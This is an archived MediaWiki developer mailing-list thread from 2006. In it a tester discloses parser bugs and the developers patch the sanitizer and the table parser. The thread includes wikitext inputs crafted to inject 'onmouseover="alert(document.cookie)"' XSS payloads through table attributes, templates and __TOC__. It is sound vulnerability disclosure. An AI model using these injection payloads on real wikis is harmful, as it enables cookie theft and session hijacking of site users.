Aim ===
To see if it's possible to execute arbitrary client-side JavaScript, using MediaWiki as the delivery system.
Background ==========
To execute arbitrary JavaScript, we mostly need to find a way to get MediaWiki to allow us to open a tag ("<script"), and to close a tag (">"). In particular, we need some form of wiki input text that will produce this as the rendered HTML output.
The MediaWiki parser seems to try to prevent both of these things, by escaping "<" and ">" characters. For example, if you give it wiki input like this: --------------------------------------------------------- <"hello world"> ---------------------------------------------------------
Then you get back this HTML: --------------------------------------------------------- <"hello world"> ---------------------------------------------------------
However, the parser is not perfect. There are some inputs that will give unescaped ">" or "<" back.
The trick is probably to combine these omissions together, in such a way so as to produce a working exploit. I don't have such a thing yet, but I suspect it might be possible.
Unescaped Closing tags ======================
Getting the parser to give unescaped closing tags is much easier than finding unescaped opening tags.
For example, a wiki input of just this: ---------------------------------------------------------
>
---------------------------------------------------------
Will give this HTML output: ---------------------------------------------------------
>
--------------------------------------------------------- (i.e. no escaping).
However, if we try to open one or more tags beforehand, then that changes. So this wiki input: --------------------------------------------------------- <
>
---------------------------------------------------------
Gives this HTML output: --------------------------------------------------------- < >>>>>>> ---------------------------------------------------------
So in other words, we can do this (close a tag and provide some JavaScript to be executed), provided we don't use the "<" character: --------------------------------------------------------- onmouseover="alert(document.cookie)">test --------------------------------------------------------- ... and we will get that literal text back in the HTML.
So to sum up: Any time after we use a "<" character, we lose this privilege of having unescaped ">" characters. To me, this feels like it might perhaps be a mistake, because it allows an attacker an opening that they probably don't need to be given (i.e. it's a free kick).
Unescaped Opening tags ======================
Almost all uses of "<" in the wiki input will result in "<" in the HTML output.
However there are some uses that do not. In particular, I've found that table properties are very weakly restricted, and we can get the Parser to produce unescaped "<" characters with each of the following 3 inputs: --------------------------------------------------------- {| WIDTH=[[image:ftp://~ {| ALIGN='''~~~</math> {| BGCOLOR=<span style="font-weight: bold;"> ---------------------------------------------------------
Which will give this HTML output: --------------------------------------------------------- <table width="[[image:<a" class="external free" title="ftp://~"> <table align="<b><!--LINK"> <table bgcolor="<span"> ---------------------------------------------------------
Some observations / problems here: 1) The unescaped "<" characters are in attribute strings. We need somehow to avoid that, or break out of that, if the browser is to obey them. 2) The type of the tags is limited ("<a>", "<!--" and "<span>" tags in the above examples). 3) The final two examples that use "<" will mean that we cannot close the tag (because, as described above, by using the "<" character we lose the privilege of having close tags).
However we can avoid problem 3) with this, which never uses a "<" character: --------------------------------------------------------- {| WIDTH=[[image:ftp://~ onmouseover="alert(document.cookie)">test ---------------------------------------------------------
Which will give this HTML output: --------------------------------------------------------- <table width="[[image:<a" class="external free" title="ftp://~"> onmouseover="alert(document.cookie)">test ---------------------------------------------------------
... however this still has problems 1) and 2) described above.
Problem 2) may not necessarily be a showstopper (e.g. HTML like: '<a href="#" onmouseover="alert(document.cookie);">Free Porn!</a>' is not as powerful as something that successfully uses "onLoad", but it is predictable that it will work a reasonable percentage of the time).
On the other hand, problem 1) is currently a huge restriction.
Conclusions ===========
* If anyone knows of a way of overcoming problems 1) and 2), or of an alternate method, then please let me know. By combining that information with the information above, it may well be possible to create a working Proof-Of-Concept.
* Why does MediaWiki ever allow unescaped ">" characters? This behaviour seem to increase the chances of a JavaScript security problem.
All the best, Nick.
Nick Jenkins wrote:
{| WIDTH=[[image:ftp://~ {| ALIGN='''~~~</math> {| BGCOLOR=<span style="font-weight: bold;">
Which will give this HTML output:
<table width="[[image:<a" class="external free" title="ftp://~"> <table align="<b><!--LINK"> <table bgcolor="<span"> ---------------------------------------------------------
This is thanks to the wacky multi-pass parser. As a quick hack-around:
--- includes/Sanitizer.php.prev 2006-03-30 23:50:58.000000000 -0800 +++ includes/Sanitizer.php 2006-03-30 23:48:59.000000000 -0800 @@ -577,6 +577,9 @@ # Templates and links may be expanded in later parsing, # creating invalid or dangerous output. Suppress this. $value = strtr( $value, array( + '<' => '<', // This should never happen, + '>' => '>', // we've received invalid input + '"' => '"', // which should have been escaped. '{' => '{', '[' => '[', "''" => '''',
If SourceForge's CVS were working, this would be committed by now. (Thanks SourceForge!)
-- brion vibber (brion @ pobox.com)
On 3/31/06, Nick Jenkins nickpj@gmail.com wrote:
The MediaWiki parser seems to try to prevent both of these things, by escaping "<" and ">" characters. For example, if you give it wiki input like this:
Hi Nick - very interesting post :) I don't know anything of how MediaWiki works, but I'm curious why you're allowed HTML of the form <U>aoeu</U>. How does that work, and will that help your nefarious goal?
Steve
- Why does MediaWiki ever allow unescaped ">" characters? This
behaviour seem to increase the chances of a JavaScript security problem.
It doesn't, modulo uncaught bugs.
Well, all I can tell you is that this is the behaviour that I observe.
But you don't have to take my word for it; see for yourself here: * Unescaped ">" characters in the HTML output: http://nickj.org/MediaWiki/Parser11 * Wiki Source: http://nickj.org/Special:Export/MediaWiki/Parser11 * Site is running MediaWiki 1.5.6: http://nickj.org/Special:Version
Note that I'm looking at the Parser purely from a black-box-testing perspective: I give it certain input, and observe what it does. I'm not looking at it from a source-code or design-level perspective (i.e. what it should do). Then as a human, I automatically try to spot the patterns in the behaviour that I observe, and from that construct a mental model that explains what the Parser is doing. And currently that says: the ">" character does not appear to be escaped until after the "<" character is used.
Disclaimer: I have modified the MediaWiki source of this installation a little, but only to add limited ACLs, and change 2 or 3 minor things in the default page layout that I disliked. As far as I am aware, nothing that I have changed will modify the behaviour of the Parser (but of course, I could be wrong).
This is thanks to the wacky multi-pass parser. As a quick hack-around:
--- includes/Sanitizer.php.prev 2006-03-30 23:50:58.000000000 -0800 +++ includes/Sanitizer.php 2006-03-30 23:48:59.000000000 -0800 @@ -577,6 +577,9 @@ # Templates and links may be expanded in later parsing, # creating invalid or dangerous output. Suppress this. $value = strtr( $value, array(
'<' => '<', // This should never happen,
'>' => '>', // we've received invalid input
'"' => '"', // which should have been escaped.
Question: will this break wikis with $wgRawHtml on? (Used to embed arbitrary HTML.)
Also, thank you, because the above code snipped suggested a way to prevent the "'>' character does not appear to be escaped until after the '<' character is used" restriction.
What you do is use templates, and then we can completely bypass this restriction.
E.g. whereas before if we had one article, with wiki text like this: ------------------------------------
{| BGCOLOR=<span style="font-weight: bold;">
------------------------------------
... then it would produce HTML output like this: ------------------------------------ <p>>>>>> </p> <table bgcolor="<span"> >>>>>
</span>
</table> ------------------------------------
Instead, we now have one article, and one template. For the template (call it "Template:OpenTag") we have: ------------------------------------ {| BGCOLOR=<span style="font-weight: bold;"> ------------------------------------
Then in the article we have: ------------------------------------
{{OpenTag}}
------------------------------------
Which now renders as this HTML output: ------------------------------------ <p>>>>>> </p> <table bgcolor="<span">
------------------------------------
Note that the second ">>>>>" is no longer escaped now, despite the "<" being included in the HTML output based on user-supplied input.
Maybe it'll come in useful and maybe it won't, but either way it's one less restriction.
Hi Nick - very interesting post :) I don't know anything of how MediaWiki works, but I'm curious why you're allowed HTML of the form <U>aoeu</U>. How does that work, and will that help your nefarious goal?
Well the "<U>aoeu</U>" might help, if we could get the Parser to start an underline tag, but not close it.
For example, if we could come up with some wiki-text input that would produce this output: ------------------------------------ <U foo=" <p>Some text</p> " onmouseover="alert(document.cookie)">test</u> ------------------------------------
In other words, we want "<U", not "<U>" in the output. I.e. we want to confuse the Parser, to get it to stuff up the normal flow of tags in the HTML output, and start something that it doesn't finish.
Note that enabling Tidy probably won't provide any protection here. In fact, it may even make things worse, by adding in tags for us. For example, if we can get this output (i.e. same as above, but missing "</u>"): ------------------------------------ <U foo=" <p>Some text</p> " onmouseover="alert(document.cookie)">test ------------------------------------
Then Tidy will helpfully supply it for us, and clean things up a little, which will give us this: ------------------------------------ <u foo="<p>Some text</p>" onmouseover="alert(document.cookie)">test</u> ------------------------------------
And then the browser will ignore the attributes it doesn't understand, giving this: ------------------------------------ <u onmouseover="alert(document.cookie)">test</u> ------------------------------------
... which will allow us to execute JavaScript. So, it was really the '<U foo="' bit that I was looking for.
Through automated fuzz-style testing, I've since found something that behaves in almost exactly this way (which demonstrates that if you throw enough fuzz-style input at something, you'll probably get it to squeal). In particular, this wiki input: ------------------------------------ {| | |[ftp://|x||] ------------------------------------
... generates this output: ------------------------------------ <table> <tr> <td><a href="ftp://|x</td><td class="external free">x</td><td>x</td><td></a> ------------------------------------
... which looks OK, until you look closer: ------------------------------------ <a href="ftp://|x</td><td class="external free">x</td><td>x</td><td></a> ------------------------------------ ^OPEN-QUOTES ^CLOSE-QUOTES ^OPEN-QUOTES-AGAIN (... and then never closes them) Somewhere in between the first OPEN-QUOTES and the CLOSE-QUOTES, the MediaWiki Parser loses full control of the situation, because the "external" and "free" bits here are being treated as HTML attributes, and I can be quite sure that the MediaWiki folks never intended for that to happen (what they wanted was for these to be treated as the _value_ of an HTML attribute).
We can then add the onmouseover stuff to the wiki input: ------------------------------------ {| | |[ftp://|x||]" onmouseover="alert(document.cookie)">test ------------------------------------
... Then this results in the Parser giving us this output: ------------------------------------ <table> <tr> <td><a href="ftp://|x</td><td class="external free">x</td><td>x</td><td></a>" onmouseover="alert(document.cookie)">test ------------------------------------ (Above output+input available online at: http://nickj.org/MediaWiki/Parser12 and http://nickj.org/Special:Export/MediaWiki/Parser12 )
The above output is exceedingly close to what we want. In fact, at this stage, we've solved all the previous problems, but unfortunately we've come across one last unexpected new problem: the 'class="external free"' stuff. For example, if we could get it to be this (i.e. one extra "=" symbol at the end of the class string): ------------------------------------ <td><a href="ftp://|x</td><td class="external free=">x</td><td>x</td><td></a>" onmouseover="alert(document.cookie)">test ------------------------------------
.... Then tidy will convert it to this: ------------------------------------ <a href="ftp://|x%3C/td%3E%3Ctd%20class=" external="" free=">x</td><td>x</td><td></a>" onmouseover="alert(document.cookie)">test</a> ------------------------------------
.... which will work. So, we're one "=" away from success. Either that, or find a way to remove the 'class="external free"' bit, which will also work. Or, find a way to delay it until after the onmouseover, and that will also work. Or, find a way to make it use single quotes instead of double quotes for the class (i.e. class='external free', rather than class="external free"), and that will work too.
So there are at least 4 possibilities, only one of which has to work.
Again, if anyone knows of a way to do any of these, or improve on the above, then please let me know.
your nefarious goal
I'd feel a whole lot more nefarious if I wasn't telling the MediaWiki people all about it, and thereby suggesting ways of making such attacks harder ;-)
All the best, Nick.
Nick Jenkins wrote:
- Why does MediaWiki ever allow unescaped ">" characters? This
behaviour seem to increase the chances of a JavaScript security problem.
It doesn't, modulo uncaught bugs.
Well, all I can tell you is that this is the behaviour that I observe.
That's why they're called "bugs".
Question: will this break wikis with $wgRawHtml on? (Used to embed arbitrary HTML.)
Arbitrary HTML, by being arbitrary, does not have attribute normalization applied to it.
Instead, we now have one article, and one template. For the template (call it "Template:OpenTag") we have:
{| BGCOLOR=<span style="font-weight: bold;">
Then in the article we have:
{{OpenTag}}
Which now renders as this HTML output:
<p>>>>>> </p> <table bgcolor="<span">
I'm afraid I can't reproduce your output here; I see:
--------------------------- <table bgcolor="<span">
<tr><td></td></tr> ---------------------------
Are you keeping up to date with the code?
-- brion vibber (brion @ pobox.com)
Are you keeping up to date with the code?
Probably not!
Let me see if I can repo with latest stable, 1.5.8:
# wget -q http://superb.dl.sourceforge.net/sourceforge/wikipedia/mediawiki-1.5.8.tar.g... # tar zfx mediawiki-1.5.8.tar.gz # mv wiki old-wiki # mv mediawiki-1.5.8 wiki # cp old-wiki/LocalSettings.php wiki
[[UsesOpenTag]] contains: ----------------------------
>
{{OpenTag}}
>
----------------------------
Output is: ---------------------------- <p>>>>>>>>
</p> <table bgcolor="<span">
>
</table> ----------------------------
So I get the same behaviour with 1.5.8 - which I believe is the most up to date released version that I can get.
Exactly how "up to date" do you mean? If you're talking CVS-checkout up-to-date, then no, I'm not up to date. But neither are most people, I daresay. What I'm personal interested in is the behaviour of released available-now production-ready-here-and-now latest-and-greatest-stable-version software, for the simple reason that that's the software I know I'll use.
However, undeterred, I checked out from CVS following the cvs checkout instructions on http://www.mediawiki.org/wiki/Download_from_CVS :
# mkdir cvs # cd cvs # cvs -z9 -d:pserver:anonymous:@cvs.sourceforge.net:/cvsroot/wikipedia co -rHEAD -P phase3 # cd .. # mv wiki mediawiki-1.5.8 # mv cvs/phase3 wiki # cp mediawiki-1.5.8/LocalSettings.php wiki
... and found that I can't run it without upgrading my system: ---------------------------- * MySQL 3.23.x is no longer supported. * PHP 4.1/4.2 is no longer supported. ----------------------------
Completely ignoring the directions, I tried to use it anyway, but got various errors. No big surprise, but it didn't hurt to try. So, short of upgrading the system I'm using, it's as up-to-date as can be.
All the best, Nick.
Nick Jenkins wrote:
So I get the same behaviour with 1.5.8 - which I believe is the most up to date released version that I can get.
That's before the fixes checked in on head (which will go into 1.5.9 also).
Exactly how "up to date" do you mean? If you're talking CVS-checkout up-to-date, then no, I'm not up to date. But neither are most people, I daresay. What I'm personal interested in is the behaviour of released available-now production-ready-here-and-now latest-and-greatest-stable-version software, for the simple reason that that's the software I know I'll use.
That'd be 1.6.0 as of tomorrow or shortly thereafter.
However, undeterred, I checked out from CVS following the cvs checkout instructions on http://www.mediawiki.org/wiki/Download_from_CVS :
We're junking CVS due to longtime problems and a total outage for the last few days; grab current code from Subersion. http://www.mediawiki.org/wiki/Subversion
Completely ignoring the directions, I tried to use it anyway, but got various errors. No big surprise, but it didn't hurt to try. So, short of upgrading the system I'm using, it's as up-to-date as can be.
Well, upgrading would be nice. :)
-- brion vibber (brion @ pobox.com)
Well, upgrading would be nice. :)
What, and give up on Debian Woody?! Why, I've still got exactly 27 days of security support left, until (after 4 years) even the Debian folks finally abandon it! ;-)
I'm currently holding out for Ubuntu 6.06 to be released (5 years of support on the server - very nice)
We're junking CVS
Cool, and I see that http://www.mediawiki.org/wiki/Template:MW_quick_download (which is what mislead me to be looking at CVS) has been updated to point to SVN instead.
That'd be 1.6.0 as of tomorrow or shortly thereafter.
Sounds good, although from a quick glance the 1.6 /HISTORY, /UPGRADE and /INSTALL readme text files seemed to be assuming 1.5 (maybe).
I've tossed in a quick tweak to the table parser to reduce the danger of this;
Thank you!
That's before the fixes checked in on head (which will go into 1.5.9 also).
OK, well the new stuff below is still based on 1.5.8, so these things may or may not be resolved by the fixes that have already been checked in (my apologies if they are):
Wiki text: --------------------------------- == onmouseover= == http://__TOC__ ---------------------------------
HTML output: --------------------------------- <a href="http://<table id='toc' class='toc'><tr><td><div id='toctitle'><h2>Contents</h2></div> <ul> <li class='toclevel-1'><a href="#onmouseover.3D"><span class="tocnumber">1</span> <span class="toctext">onmouseover=</span></a></li> </ul> </td></tr></table> --------------------------------- Note that the HREF string continues until the "#onmouseover.3D" bit, which is partially user controlled (albeit escaped), so there could perhaps be some restricted scope for attribute injection.
This idea can also be applied to the various table-related attributes: --------------------------------- ==a== {| STYLE=__TOC__ ---------------------------------
HTML output: --------------------------------- <table style="<table id='toc' class='toc'><tr><td><div id='toctitle'><h2>Contents</h2></div> <ul> <li class='toclevel-1'><a href="#a"><span class="tocnumber">1</span> <span class="toctext">a</span></a></li> </ul> </td></tr></table> --------------------------------- Above two available online at http://nickj.org/MediaWiki/Parser14 and http://nickj.org/MediaWiki/Parser14-table
Also, one other bit of strangeness: --------------------------------- {| | http://a%7C ---------------------------------
HTML output: --------------------------------- <table> <tr> <td>" class='external free' title="http://a%7C" rel="nofollow">http://a%7C</a> --------------------------------- Note that somewhere along the line the Parser eats the '<a href="http://a' string. Available online at http://nickj.org/MediaWiki/Parser13
As usual, if there are any ideas for improving on any this, please let me know.
All the best, Nick.
Also, one other bit of strangeness:
{| | http://a%7C
HTML output:
<table> <tr> <td>" class='external free' title="http://a|" rel="nofollow">http://a|</a> --------------------------------- Note that somewhere along the line the Parser eats the '<a href="http://a' string. Available online at http://nickj.org/MediaWiki/Parser13
Similar to the above is this: -------------------------- {| !https://%7C%7C%7C%7C%7C%7C --------------------------
Which in MediaWiki 1.6.1 also eats the "<a href" part, giving: -------------------------- <table> <tr> <th>|||||" class='external free' title="https://%7C%7C%7C%7C%7C%7C" rel="nofollow">https://</th><th></th><th></th><th></a> --------------------------
Available online at http://nickj.org/MediaWiki/Parser16 , and full list at http://nickj.org/MediaWiki
Also, I have no idea if multi-line HREF URLs should be allowed: http://nickj.org/MediaWiki/Parser20 . It passes W3C validation, but the link doesn't work (at least in Firefox), so I can't decide if it should be considered wrong or not.
I must say though, it seems to me that 1.6.1 has improved a lot on the Parser areas that could potentially have a security impact as compared to 1.5.8.
All the best, Nick.
Nick Jenkins wrote:
{| | |[ftp://|x||]" onmouseover="alert(document.cookie)">test
I've tossed in a quick tweak to the table parser to reduce the danger of this; it'll now attempt to do the || split only outside of tags. The above example still ends up with bad nesting (not well-formed XML output) but there's nothing injected into the attribute area.
(It might also make sense to move the table translation several steps up, before the various link parsing. In theory, we can think of it as a transformation from one wiki-markup to another wiki-markup bit. Probably we'll want a bigger set of test cases for tables, however; anyone want to scour the help pages and infoboxes and such?)
-- brion vibber (brion @ pobox.com)
wikitech-l@lists.wikimedia.org